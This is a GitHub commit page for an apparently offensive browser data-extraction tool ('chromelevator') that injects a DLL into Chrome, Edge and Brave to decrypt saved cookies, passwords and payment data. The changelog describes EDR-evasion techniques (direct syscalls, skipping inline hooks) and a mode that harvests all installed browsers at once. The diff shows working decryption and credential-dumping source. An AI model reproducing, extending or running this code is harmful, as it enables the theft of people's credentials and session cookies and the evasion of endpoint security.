Skip to content

Commit 57bbe10

Browse files
committed
v0.15.0
1 parent e3e715e commit 57bbe10

13 files changed

+856
-386
lines changed

CHANGELOG.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,19 @@
22

33
## 🆕 Changelog
44

5+
### v0.15.0
6+
- **Multi-Browser Extraction with "all" Option**: New command-line option to automatically enumerate and extract data from all installed browsers in a single run.
7+
- Added `chromelevator.exe all` option that discovers all installed browsers (Chrome, Edge, Brave).
8+
- Automatically handles any combination of installed browsers, gracefully skipping those not found.
9+
- **Dynamic Browser Path Discovery via Registry Syscalls**: Eliminated all hard-coded browser installation paths in favor of runtime Registry enumeration using direct syscalls.
10+
- Added new Registry syscalls: `NtOpenKey`, `NtQueryValueKey`, and `NtEnumerateKey` to the direct syscall engine, enabling stealthy Registry access without Win32 API dependencies.
11+
- Implemented `BrowserPathResolver` class that queries `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\<browser.exe>` using NT native paths (`\Registry\Machine\...`).
12+
- Supports both 64-bit and 32-bit (WOW6432Node) Registry views to ensure browser discovery across all installation types.
13+
- **Advanced Gadget Detection**: Extended search to 64 bytes, added hook pattern skipping (e.g., jmp detection) for better evasion of inline EDR hooks.
14+
- **Redesigned Output Formatting**: Completely redesigned the console output for cleaner, more professional appearance.
15+
- **Resilient Decryption**: Implemented graceful error handling for GCM blobs, skipping invalid prefixes (e.g., non-"v20") to prevent process termination.
16+
- **Conditional File Output**: Modified data extractor to write JSON files only if decrypted data is present, eliminating empty `[]` files from the output.
17+
518
### v0.14.2
619
- **Bug Fix: Corrected Cookie Decryption Payload Handling**: Resolved a critical regression where encrypted cookie values were not being correctly parsed after decryption.
720
- The recent architectural refactor inadvertently omitted a crucial processing step specific to cookie payloads. Unlike passwords or payment data, the decrypted plaintext for a cookie contains a 32-byte metadata header that must be stripped to reveal the actual cookie value.

README.md

Lines changed: 168 additions & 237 deletions
Large diffs are not rendered by default.

make.bat

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ setlocal enabledelayedexpansion
77
set "BUILD_DIR=build"
88
set "SRC_DIR=src"
99
set "LIBS_DIR=libs"
10-
set "FINAL_EXE_NAME=chrome_inject.exe"
10+
set "FINAL_EXE_NAME=chromelevator.exe"
1111
set "PAYLOAD_DLL_NAME=chrome_decrypt.dll"
1212
set "ENCRYPTOR_EXE_NAME=encryptor.exe"
1313
set "VERBOSE=1"

src/chrome_decrypt.cpp

Lines changed: 40 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
// chrome_decrypt.cpp
2-
// v0.14.2 (c) Alexander 'xaitax' Hagenah
2+
// v0.15.0 (c) Alexander 'xaitax' Hagenah
33
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
44

55
#include <Windows.h>
@@ -204,13 +204,9 @@ namespace Payload
204204
{
205205
const size_t GCM_OVERHEAD_LENGTH = V20_PREFIX.length() + GCM_IV_LENGTH + GCM_TAG_LENGTH;
206206

207-
if (blob.size() == GCM_OVERHEAD_LENGTH && memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) != 0)
208-
{
209-
return {};
210-
}
211207
if (blob.size() < GCM_OVERHEAD_LENGTH || memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) != 0)
212208
{
213-
throw std::runtime_error("GCM blob is invalid.");
209+
return {};
214210
}
215211

216212
BCRYPT_ALG_HANDLE hAlg = nullptr;
@@ -241,9 +237,18 @@ namespace Payload
241237

242238
std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
243239
ULONG outLen = 0;
244-
NTSTATUS status = BCryptDecrypt(hKey, (PUCHAR)ct, ct_len, &authInfo, nullptr, 0, plain.data(), (ULONG)plain.size(), &outLen, 0);
245-
if (!NT_SUCCESS(status))
246-
throw std::runtime_error("BCryptDecrypt failed.");
240+
try
241+
{
242+
NTSTATUS status = BCryptDecrypt(hKey, (PUCHAR)ct, ct_len, &authInfo, nullptr, 0, plain.data(), (ULONG)plain.size(), &outLen, 0);
243+
if (!NT_SUCCESS(status))
244+
{
245+
return {};
246+
}
247+
}
248+
catch (...)
249+
{
250+
return {};
251+
}
247252

248253
plain.resize(outLen);
249254
return plain;
@@ -609,20 +614,14 @@ namespace Payload
609614
return;
610615
}
611616
auto dbCloser = [](sqlite3 *d)
612-
{
613-
if (d)
614-
sqlite3_close_v2(d);
615-
};
617+
{ if (d) sqlite3_close_v2(d); };
616618
std::unique_ptr<sqlite3, decltype(dbCloser)> dbGuard(db, dbCloser);
617619

618620
sqlite3_stmt *stmt = nullptr;
619621
if (sqlite3_prepare_v2(dbGuard.get(), m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK)
620622
return;
621623
auto stmtFinalizer = [](sqlite3_stmt *s)
622-
{
623-
if (s)
624-
sqlite3_finalize(s);
625-
};
624+
{ if (s) sqlite3_finalize(s); };
626625
std::unique_ptr<sqlite3_stmt, decltype(stmtFinalizer)> stmtGuard(stmt, stmtFinalizer);
627626

628627
std::any preQueryState;
@@ -634,32 +633,38 @@ namespace Payload
634633
}
635634
}
636635

637-
fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() / (m_config.outputFileName + ".json");
638-
std::error_code ec;
639-
fs::create_directories(outFilePath.parent_path(), ec);
640-
std::ofstream out(outFilePath, std::ios::trunc);
641-
if (!out)
642-
return;
643-
644-
out << "[\n";
645-
bool first = true;
646-
int count = 0;
636+
std::vector<std::string> jsonEntries;
647637
while (sqlite3_step(stmtGuard.get()) == SQLITE_ROW)
648638
{
649639
if (auto jsonEntry = m_config.jsonFormatter(stmtGuard.get(), m_aesKey, preQueryState))
650640
{
651-
if (!first)
652-
out << ",\n";
653-
first = false;
654-
out << *jsonEntry;
655-
count++;
641+
jsonEntries.push_back(*jsonEntry);
656642
}
657643
}
658-
out << "\n]\n";
659644

660-
if (count > 0)
645+
if (!jsonEntries.empty())
661646
{
662-
m_logger.Log(" [*] " + std::to_string(count) + " " + m_config.outputFileName + " extracted to " + outFilePath.u8string());
647+
fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() / (m_config.outputFileName + ".json");
648+
std::error_code ec;
649+
fs::create_directories(outFilePath.parent_path(), ec);
650+
if (ec)
651+
{
652+
m_logger.Log("[-] Failed to create directory: " + outFilePath.parent_path().u8string());
653+
return;
654+
}
655+
656+
std::ofstream out(outFilePath, std::ios::trunc);
657+
if (!out)
658+
return;
659+
660+
out << "[\n";
661+
for (size_t i = 0; i < jsonEntries.size(); ++i)
662+
{
663+
out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n");
664+
}
665+
out << "\n]\n";
666+
667+
m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName + " extracted to " + outFilePath.u8string());
663668
}
664669
}
665670

0 commit comments

Comments
 (0)